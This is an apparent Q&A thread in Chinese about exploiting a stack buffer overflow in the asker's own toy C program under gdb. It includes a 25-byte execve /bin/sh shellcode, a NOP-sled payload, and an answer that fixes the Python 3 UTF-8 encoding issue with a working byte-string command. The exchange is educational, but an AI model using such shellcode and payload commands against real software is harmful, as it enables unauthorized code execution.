找到
eip
偏移量后,我尝试向我的程序输入一些 shell 代码。使用以下命令run $(python -c 'print("A"*108 + "BBBB")')
我得到以下输出
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
现在当我尝试添加我的 shell 代码时出现问题。当我输入
run $(python -c 'print("\x90"*63 + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "B" * 20)')
我没有得到我所期望的结果,返回地址被 B 覆盖,但我得到以下内容
Program received signal SIGSEGV, Segmentation fault.
0x90c290c2 in ?? ()
当我将 B 的数量增加到 48 并将 NOP 的数量减少到 35 时,它确实有效,但我不太明白为什么这不适用于返回地址的更多 NOP 和更少的 B。我不明白的另一件事是我在堆栈中没有看到任何 NOP。
(gdb) x/200x $esp
0xffffd2a0: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd2b0: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd2c0: 0x42424242 0x42424242 0x00424242 0x00000001
0xffffd2d0: 0xffffd398 0x68e47ce5 0x9e780f0a 0x00000000
0xffffd2e0: 0x00000000 0x00000000 0xffffd3e0 0x0804b519
0xffffd2f0: 0x00000000 0x08049c76 0xffffd3e0 0x0804b52d
0xffffd300: 0x00000000 0x00000000 0x00000000 0x0804968d
0xffffd310: 0x00000040 0x0000000c 0x00000040 0x00000008
0xffffd320: 0x00040000 0x00000040 0x00002000 0x00300000
0xffffd330: 0x00090000 0x00040000 0x00002000 0x00008000
0xffffd340: 0xffffd370 0xffffd3d4 0x00000002 0x00000001
0xffffd350: 0x00000006 0x00000045 0x00000001 0x00300000
0xffffd360: 0x000c0000 0x00000004 0x00000001 0x00000000
0xffffd370: 0xffffffff 0x00000000 0x080e3620 0x00000000
0xffffd380: 0x00000000 0x00000000 0xffffd3b0 0x080e3ff4
0xffffd390: 0x00000002 0x00000000 0x00000000 0x08049688
0xffffd3a0: 0x00000000 0x00000000 0x00000000 0x08049688
0xffffd3b0: 0x0804968d 0x00000002 0xffffd3d4 0x00000000
0xffffd3c0: 0x00000000 0x00000000 0xffffd3cc 0x00000000
0xffffd3d0: 0x00000002 0xffffd5d2 0xffffd609 0x00000000
0xffffd3e0: 0xffffd6a5 0xffffd6b5 0xffffd6c9 0xffffd6ff
0xffffd3f0: 0xffffd70c 0xffffd746 0xffffd773 0xffffd78a
0xffffd400: 0xffffd79e 0xffffd7d1 0xffffd80f 0xffffd826
0xffffd410: 0xffffd83e 0xffffd881 0xffffd891 0xffffd89d
0xffffd420: 0xffffd8bd 0xffffd8cc 0xffffd8ff 0xffffd90a
0xffffd430: 0xffffd925 0xffffd93a 0xffffd94f 0xffffd95e
0xffffd440: 0xffffd97e 0xffffd9ac 0xffffd9bb 0xffffd9c4
0xffffd450: 0xffffda14 0xffffda22 0xffffda33 0xffffda48
0xffffd460: 0xffffda60 0xffffda6c 0xffffdaf0 0xffffdb01
0xffffd470: 0xffffdb35 0xffffdb64 0xffffdbb0 0xffffdbbf
0xffffd480: 0xffffdbd4 0xffffdbeb 0xffffdc09 0xffffdc1d
0xffffd490: 0xffffdc25 0xffffdc3b 0xffffdc6d 0xffffdc78
0xffffd4a0: 0xffffdc80 0xffffdc99 0xffffdcb4 0xffffdcbf
0xffffd4b0: 0xffffdcd0 0xffffdcef 0xffffdd21 0xffffdd35
0xffffd4c0: 0xffffdd53 0xffffdd6a 0xffffdd83 0xffffdda1
0xffffd4d0: 0xffffde16 0xffffde2c 0xffffde3c 0xffffdf08
0xffffd4e0: 0xffffdf1a 0xffffdf50 0xffffdf6c 0xffffdf84
0xffffd4f0: 0xffffdf9b 0x00000000 0x00000020 0xf7ffc570
0xffffd500: 0x00000021 0xf7ffc000 0x00000033 0x000006f0
0xffffd510: 0x00000010 0xbfebfbff 0x00000006 0x00001000
0xffffd520: 0x00000011 0x00000064 0x00000003 0x08048034
0xffffd530: 0x00000004 0x00000020 0x00000005 0x00000009
0xffffd540: 0x00000007 0x00000000 0x00000008 0x00000000
0xffffd550: 0x00000009 0x08049660 0x0000000b 0x000003e8
0xffffd560: 0x0000000c 0x000003e8 0x0000000d 0x000003e8
0xffffd570: 0x0000000e 0x000003e8 0x00000017 0x00000000
0xffffd580: 0x00000019 0xffffd5bb 0x0000001a 0x00000002
0xffffd590: 0x0000001f 0xffffdfc1 0x0000000f 0xffffd5cb
0xffffd5a0: 0x0000001b 0x0000001c 0x0000001c 0x00000020
0xffffd5b0: 0x00000000 0x00000000 0x62000000 0x9e72e32a
我使用的是Python 3。shell代码有25个字节长。我已经禁用了 ASLR。 这是我的 C 代码
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
Python3 的字符串文字
"..."
在 print
时默认为 UTF-8 (Unicode) 编码,而不是 8 位 ASCII (ISO-8859-1/Latin-1)。因此,会输出额外的字符,导致您的 shellcode 无法使用。
如果您要运行 Python 命令,例如:
python -c 'print("\x90"*63 + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "B" * 20)' | hexdump -C
hexdump
会让问题更加明显。输出看起来像这样:
00000000 c2 90 c2 90 c2 90 c2 90 c2 90 c2 90 c2 90 c2 90 |................|
*
00000070 c2 90 c2 90 c2 90 c2 90 c2 90 c2 90 c2 90 c3 ab |................|
00000080 0b 5b 31 c3 80 31 c3 89 31 c3 92 c2 b0 0b c3 8d |.[1..1..1.......|
00000090 c2 80 c3 a8 c3 b0 c3 bf c3 bf c3 bf 2f 62 69 6e |............/bin|
000000a0 2f 73 68 42 42 42 42 42 42 42 42 42 42 42 42 42 |/shBBBBBBBBBBBBB|
000000b0 42 42 42 42 42 42 42 0a |BBBBBBB.|
000000b8
您会注意到,对于那些 >= 0x80 的字符,值
C2
和 C3
已被插入到代码中间。结果,shellcode 无法使用。
如果您改用 Python2,问题就会得到解决,因为它不默认使用 Unicode 字符集。适用于 Python2 和 Python3 的方法是使用字节字符串文字
b'...'
并使用 sys.stdout.buffer.write
将字节输出到标准输出。
这样的命令应该在 GDB 中工作:
run $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*63 + b'\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + b'B' * 20)")